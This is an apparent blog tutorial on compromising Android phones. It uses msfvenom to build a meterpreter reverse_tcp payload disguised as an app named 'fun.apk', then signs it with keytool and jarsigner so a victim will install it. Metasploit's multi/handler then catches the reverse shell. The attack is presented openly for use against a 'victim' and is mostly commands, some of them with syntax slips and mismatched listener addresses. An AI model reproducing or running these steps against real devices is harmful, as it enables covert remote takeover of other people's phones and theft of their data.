HOW TO HACK ANDROID USING KALI LINUX 2017 (METASPLOIT)

Getting an access of victim devices (Computer, Android based Phone) is very easy because of reverse exploitation ttacks. A hacker use different types of exploitation’s to gaining access like reverse_tcp, reverse_http and many more with various types of file format (.exe .bat .apk).

A payload which is created using reverse_tcp, When victim download that file and install it then it created a reverse connection victim to attacker. There is may be the victim having firewall or some other defense system, In this attack the firewall looks that the client (victim) to send request to the server (attacker machine) that’s why it allow the connection.

In this tutorial, I am going to show how we can create a android payload and by using that how can we gaining access of victim device.

• Open terminal:

msfvenom -p android/meterpreter/reverse_tcp set lhost=192.168.0.100 -o fun.apk

Where LHOST is the listening host (In my case this is my private IP as per my lab environment), You can check it by using “ifconfig” command.

Now signing the .apk file, that file doesn’t give any problem while victim trying to install it.

• For generating the keystore:

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 

It will ask to set new password for keystore file.

• For singing the App:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore fun.apk alias_name

• Start metasploit and exploit.

# msfconsole
# use exploit/multi/handler
# set payload android/meterpreter/reverse_tcp
# set lhost 192.168.0.101
# exploit -j z
# session -i 1

For better understanding watch Demo given below:

Watch Demo on Our YouTube Channel

Posted by Nagesh ;)